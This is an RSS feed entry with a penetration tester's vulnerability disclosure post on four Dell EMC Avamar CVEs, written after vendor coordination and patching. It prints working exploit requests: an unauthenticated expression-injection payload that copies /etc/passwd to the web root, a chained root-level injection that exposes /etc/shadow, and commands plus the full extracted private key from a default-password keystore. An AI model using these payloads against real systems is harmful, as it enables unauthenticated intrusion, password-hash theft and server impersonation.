<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jarrod Farncomb on Medium]]></title>
        <description><![CDATA[Stories by Jarrod Farncomb on Medium]]></description>
        <link>https://medium.com/@jardeath?source=rss-6600acdd3965------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*-5CVcYtrThDBFMIEczEj6Q.jpeg</url>
            <title>Stories by Jarrod Farncomb on Medium</title>
            <link>https://medium.com/@jardeath?source=rss-6600acdd3965------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 05:48:33 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jardeath/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Multiple Security Vulnerabilities in Dell EMC Avamar]]></title>
            <link>https://medium.com/tsscyber/multiple-security-vulnerabilities-in-dell-emc-avamar-e114c16425d0?source=rss-6600acdd3965------2</link>
            <guid isPermaLink="false">https://medium.com/p/e114c16425d0</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[vmware]]></category>
            <category><![CDATA[dell]]></category>
            <dc:creator><![CDATA[Jarrod Farncomb]]></dc:creator>
            <pubDate>Mon, 07 Jan 2019 21:11:54 GMT</pubDate>
            <atom:updated>2019-01-07T21:11:54.999Z</atom:updated>
            <content:encoded><![CDATA[<p>In this post I’ll cover four different CVEs identified by myself and a colleague from <a href="https://www.tsscyber.com.au/">TSS</a>, who wishes to remain unnamed. These vulnerabilities were discovered within the Dell EMC Avamar backup software, which is also used by <a href="https://www.vmware.com/security/advisories/VMSA-2018-0029.html">VMWare’s vSphere Data Protection (VDP)</a>.</p><ol><li>Open Redirection Vulnerability (CVE-2018–11067)</li><li>Command Injection Vulnerability (CVE-2018–11077)</li><li>Remote Code Execution Vulnerability (CVE-2018–11066)</li><li>Information Exposure Vulnerability (CVE-2018–11076)</li></ol><p>I’ll also demonstrate how some of these vulnerabilities could be chained together, resulting in unauthenticated remote code execution with root privileges.</p><h3>Open Redirection Vulnerability (CVE-2018–11067)</h3><p>It was possible to use the /aam/gridSummary.action?redirect page from the Avamar web interface to perform an unauthenticated open redirect. This was done by simply specifying the location to redirect to:</p><pre>GET /aam/gridSummary.action?<strong>redirect:</strong><a href="http://server.local/"><strong>http://exmple.com</strong></a></pre><p>The server would then respond with the following HTTP header, resulting in the redirection:</p><pre>Location: http://example.com</pre><h3>Command Injection Vulnerability (CVE-2018–11077)</h3><p>Our test instance of Avamar was being run as a low privileged user account, <em>admin</em>. Running ‘sudo –l’ as this user revealed a large number of custom Avamar specific scripts which could be run with root privileges, one of which was the <em>getlogs</em> script.</p><p>TSS discovered that commands could be injected into an invocation of this script by passing them after the --verbose flag:</p><pre>admin@vcp:~/#: sudo /usr/local/avamar/bin/getlogs --verbose<strong>\`touch /tmp/testing\`</strong></pre><pre>admin@vcp:~/#: ls -la /tmp/testing<br>-rw------- 1 root root 0 Dec 20 09:22 /tmp/testing</pre><p>By injecting the <em>touch </em>command through the <em>getlogs </em>script, the /tmp/testing file has been created with root privileges, as per the ownership of the file. A low privileged account, <em>admin </em>in this case, may exploit this vulnerability to execute commands locally with root privileges.</p><h3>Remote Code Execution Vulnerability (CVE-2018–11066)</h3><p>As it turned out, there was more to the open redirection vulnerability (CVE-2018–11067) outlined above. By sending the following request, there appeared to be some sort of evaluation happening on the server side.</p><pre>GET /aam/gridSummary.action?redirect:<a href="http://example.com${9999+1}/">http://example.com$%7b9999%2b1%7d</a></pre><p>Decoded, the HTTP GET request looks like this:</p><pre>GET /aam/gridSummary.action?redirect:<a href="http://example.com${9999+1/">http://example.com${9999+1</a>}</pre><p>The server would then attempt to redirect us to <a href="http://example.com10000,/">http://example.com10000,</a> confirming that the 9999+1 expression was run and looking suspiciously like Struts RCE.</p><p>Upon examining this further, it was possible to run arbitrary commands on the server within the context of the low privileged <em>admin </em>account, the account which was running the Avamar service.</p><p>While entering commands, no output was returned from the web server, so it took some playing with to get things working correctly.</p><p>The following request copies the /etc/passwd file into the Avamar public web directory:</p><pre>GET /aam/gridSummary.action?redirect:${(new+java.lang.ProcessBuilder(new+java.lang.String[]{&#39;bash&#39;,&#39;-c&#39;,&#39;cat+/etc/passwd+&gt;/usr/local/avamar-tomcat-7.0.59/webapps/aam/passwd&#39;})).start()}</pre><p>Once sent, it was then possible to view the /etc/passwd file at <a href="http://example.com/aam/passwd,">http://example.com/aam/passwd,</a> confirming that the command ran as expected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*jcn5-Rz-JNFatx4fDy5eXg.png" /><figcaption>Passwd file from Avamar now publicly available</figcaption></figure><p>Like the open redirection vulnerability, this request did not require authentication.</p><p><strong>By your powers combined!</strong></p><p>The passwd file that was copied was owned by the low privileged <em>admin </em>user, as that’s the user account the web server was running as. It was possible to escalate privileges to root by using the command injection vulnerability (CVE-2018–11077) outlined above.</p><p>Our new HTTP GET request using the <em>getlogs </em>script now looks something like this:</p><pre>GET /aam/gridSummary.action?redirect:${(new+java.lang.ProcessBuilder(new+java.lang.String[]{&#39;bash&#39;,&#39;-c&#39;,&#39;sudo+/usr/local/avamar/bin/getlogs+--verbose\\`&quot;cp+/etc/shadow+/usr/local/avamar-tomcat-7.0.59/webapps/aam/shadow;chmod+777+/usr/local/avamar-tomcat-7.0.59/webapps/aam/shadow&quot;\\`&#39;})).start()}</pre><p>This makes a copy of the /etc/shadow file, a file only accessible to the root user containing the hashed passwords of the system, and places it into the Avamar public web directory. This file was then successfully accessible through <a href="http://example.com/aam/shadow.">http://example.com/aam/shadow.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*o_1utZtpHFrA3ti3rorF_A.png" /><figcaption>Shadow file from Avamar now publicly available</figcaption></figure><p>Just to confirm, on the server side we can see that the shadow file has been copied, is still owned by the root user, and has successfully had its permissions modified to be accessed by any user or group as intended.</p><pre>root@vcp:#: ls -la /usr/local/avamar-tomcat-7.0.59/webapps/aam/shadow<br>-<strong>rwxrwxrwx </strong>1 <strong>root  root</strong>     898 Dec 19 16:26 shadow /usr/local/avamar-tomcat-7.0.59/webapps/aam/shadow</pre><p>With this level of access it was possible to simply reset the root password and login as the root user via SSH.</p><h3>Information Exposure Vulnerability (CVE-2018–11076)</h3><p>As part of the Avamar Java administration client, a file called rmi_ssl_keystore.jar is downloaded when an unauthenticated user attempts to access the admin interface. This is used to authenticate to the remote server.</p><p>The file rmi_ssl_keystore.jar contains a Java keystore with default password:</p><pre>user@arch ~/Desktop/ssl % keytool -list -keystore rmi_ssl_keystore<br>Enter keystore password: <br>Keystore type: JKS<br>Keystore provider: SUN</pre><pre>Your keystore contains 1 entry</pre><pre>mcssl, Feb 1, 2008, PrivateKeyEntry,<br>Certificate fingerprint (SHA-256): B4:E6:71:77:58:9B:58:64:E2:F7:3A:A0:2A:07:F8:7B:2E:CA:1B:22:2B:C3:98:A8:90:F8:D8:7A:8E:0A:EE:F9</pre><p>This keystore contains the private key for the server that the Avamar Java Administration client connects to. By exporting the certificate, it was possible to validate that this was in fact the same key as the server provides.</p><pre>keytool -importkeystore -srckeystore rmi_ssl_keystore -destkeystore store.p12 -deststoretype PKCS12<br>Importing keystore rmi_ssl_keystore to store.p12...<br>Enter destination keystore password: <br>Re-enter new password:<br>Enter source keystore password: <br>Entry for alias mcssl successfully imported.<br>Import command completed:  1 entries successfully imported, 0 entries failed or cancelled</pre><p>We can see that this file contains a private key:</p><pre>user@arch ~/Desktop/ssl % openssl pkcs12 -in store.p12   <br>Enter Import Password:<br>Bag Attributes<br>    friendlyName: mcssl<br>    localKeyID: 54 69 6D 65 20 31 35 31 33 30 34 39 33 32 34 32 37 30<br>Key Attributes: &lt;No Attributes&gt;<br>Enter PEM pass phrase:<br>Verifying - Enter PEM pass phrase:<br>-----BEGIN ENCRYPTED PRIVATE KEY-----<br>MIIBrDBOBgkqhkiG9w0BBQ0wQTApBgkqhkiG9w0BBQwwHAQIYqnv7LKEhPgCAggA<br>MAwGCCqGSIb3DQIJBQAwFAYIKoZIhvcNAwcECM10zEMCIBEtBIIBWCH7QrPQoOJT<br>8zmJa3vqsD8eLdOIn6ZCtfiZxuEGU6QhbFFJma274rPNos+YU6Dv9ytffsY9FKwg<br>bZJCBxT8HnJHcdX+mh7QSiPufC96J9NnPX8rwBn2j4VbYuTWkp6/VB2Zb4J6sSmc<br>+FUpN+Fe68kgFpWazC2PMPlgZ5T7YiS0cx9tvJkAUb4ZTMWaWrms7t0HmWPtn4+y<br>4Nf4R+ByQN7+CqrEVCxxPwk0XQE8fgGRdqpFDWSfxw51jVkdmztW00Jkg4XwcXB7<br>34+2W9LLyfJ/CwpD0LjxZnthH102YrW7rL0YEBqhEPdaHVrPJ64wTeJLfGrmjR1m<br>5lg8FTniXEfMAcmw0Fd9d9sOXmPsyLmbsh9AliihnqxPbjnvCxu45irz7UtUJ13C<br>PIAnG/ni2k19/ctXtpm/boX28svCK/hSRK8Y1W8TbM8I2rVwD1X32T/2Gdv25g9y<br>-----END ENCRYPTED PRIVATE KEY-----<br>Bag Attributes<br>    friendlyName: mcssl<br>    localKeyID: 54 69 6D 65 20 31 35 31 33 30 34 39 33 32 34 32 37 30<br>subject=/C=US/ST=California/L=Irvine/O=EMC/OU=Avamar/CN=Administrator<br>issuer=/C=US/ST=California/L=Irvine/O=EMC/OU=Avamar/CN=Administrator<br>-----BEGIN CERTIFICATE-----<br>MIIDCTCCAscCBEeiV2AwCwYHKoZIzjgEAwUAMGoxCzAJBgNVBAYTAlVTMRMwEQYD<br>VQQIEwpDYWxpZm9ybmlhMQ8wDQYDVQQHEwZJcnZpbmUxDDAKBgNVBAoTA0VNQzEP<br>MA0GA1UECxMGQXZhbWFyMRYwFAYDVQQDEw1BZG1pbmlzdHJhdG9yMB4XDTA4MDEz<br>MTIzMTg1NloXDTE4MDEyODIzMTg1NlowajELMAkGA1UEBhMCVVMxEzARBgNVBAgT<br>CkNhbGlmb3JuaWExDzANBgNVBAcTBklydmluZTEMMAoGA1UEChMDRU1DMQ8wDQYD<br>VQQLEwZBdmFtYXIxFjAUBgNVBAMTDUFkbWluaXN0cmF0b3IwggG4MIIBLAYHKoZI<br>zjgEATCCAR8CgYEA/X9TgR11EilS30qcLuzk5/YRt1I870QAwx4/gLZRJmlFXUAi<br>UftZPY1Y+r/F9bow9subVWzXgTuAHTRv8mZgt2uZUKWkn5/oBHsQIsJPu6nX/rfG<br>G/g7V+fGqKYVDwT7g/bTxR7DAjVUE1oWkTL2dfOuK2HXKu/yIgMZndFIAccCFQCX<br>YFCPFSMLzLKSuYKi64QL8Fgc9QKBgQD34aCF1ps93su8q1w2uFe5eZSvu/o66oL5<br>V0wLPQeCZ1FZV4661FlP5nEHEIGAtEkWcSPoTCgWE7fPCTKMyKbhPBZ6i1R8jSjg<br>o64eK7OmdZFuo38L+iE1YvH7YnoBJDvMpPG+qFGQiaiD3+Fa5Z8GkotmXoB7VSVk<br>AUw7/s9JKgOBhQACgYEAvoCDTrFxncEXPuKWO0Um/KSsuPEoN4OSgq36H1Kjs4Mt<br>/tYvTcc0RPFxiKaDYoc0LqlbJr8pab5vosZURHE49nTktJDAcB6ENpRfD05Jq08M<br>ILIBB+LaC6zDY0L8AhRPLWHFu0ZT3xuAuEkIZ3EtbposbFCwh6vHneX/Z4Va7fow<br>CwYHKoZIzjgEAwUAAy8AMCwCFBjMfwSfvpWG4fI3EE5Lbp74OiFUAhQjnOmEL+Va<br>i5wXrLxQwoN75duEEw==<br>-----END CERTIFICATE-----<br>user@arch ~/Desktop/ssl % openssl pkcs12 -in store.p12 -nodes -nocerts -out unencrypted.key<br>Enter Import Password:<br>user@arch ~/Desktop/ssl % cat unencrypted.key<br>Bag Attributes<br>    friendlyName: mcssl<br>    localKeyID: 54 69 6D 65 20 31 35 31 33 30 34 39 33 32 34 32 37 30<br>Key Attributes: &lt;No Attributes&gt;<br>-----BEGIN PRIVATE KEY-----<br>MIIBTAIBADCCASwGByqGSM44BAEwggEfAoGBAP1/U4EddRIpUt9KnC7s5Of2EbdS<br>PO9EAMMeP4C2USZpRV1AIlH7WT23WPq/xfW6MPbLm1Vs14E7gB00b/JmYLdrmVCl<br>pJ+f6AR7ECLCT7up1/63xhv4O1fnxqimFQ8E+4P208UewwI1VBNaFpEy9nXzrith<br>1yrv8iIDGZ3RSXHHAhUBl2BQjxUjC8yykrmCouuEC/BYHPUCgYEA9+GghdabSd7L<br>vKtcNrhXuXmUr7v6OuqC+VdMCz0HgmdRWVeOutRLT+ZxBxCBgLRJFnEj6EwoFhO3<br>zwkyjMim4TwWeotUfI0o4KOuHiuzpnWRbqN/C/ohNWLx+2J6ASQ7zKTxgqhRkImo<br>g9/hWuWfBpDLZl6Ae1UlZAFMO/7PSSoEFwIVAJZv8SJj4Tjny2clL69UTKKNx+bP<br>-----END PRIVATE KEY-----</pre><p>If an attacker is able to intercept communication between a user of the Java administration client and the server then it is possible for the attacker to impersonate the server.</p><p>These bugs were reported to the <a href="https://www.dell.com/support/security/vulnerability-response-policy">Dell Product Security Incident Response Team (PSIRT)</a>, who have been great to deal with throughout the process.</p><p>Dell have posted the vulnerabilities to Full Disclosure, advising affected software versions and available hotfixes:</p><ul><li><a href="https://seclists.org/fulldisclosure/2018/Nov/50">Full Disclosure: DSA-2018-154: Dell EMC Avamar and Integrated Data Protection Appliance Information Exposure Vulnerability</a></li><li><a href="https://seclists.org/fulldisclosure/2018/Nov/51">Full Disclosure: DSA-2018-155: Dell EMC Avamar and Integrated Data Protection Appliance Command Injection Vulnerability</a></li><li><a href="https://seclists.org/fulldisclosure/2018/Nov/49">Full Disclosure: DSA-2018-145: Dell EMC Avamar Multiple Vulnerabilities</a></li></ul><blockquote>Jarrod is a penetration tester at TSS specialising in web application testing.</blockquote><blockquote>TSS is a specialist cyber security company providing penetration testing, security assurance consulting and managed security services. More information is available at our website <a href="https://www.tsscyber.com.au/">https://www.tsscyber.com.au</a>.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e114c16425d0" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tsscyber/multiple-security-vulnerabilities-in-dell-emc-avamar-e114c16425d0">Multiple Security Vulnerabilities in Dell EMC Avamar</a> was originally published in <a href="https://medium.com/tsscyber">TSS - Trusted Security Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>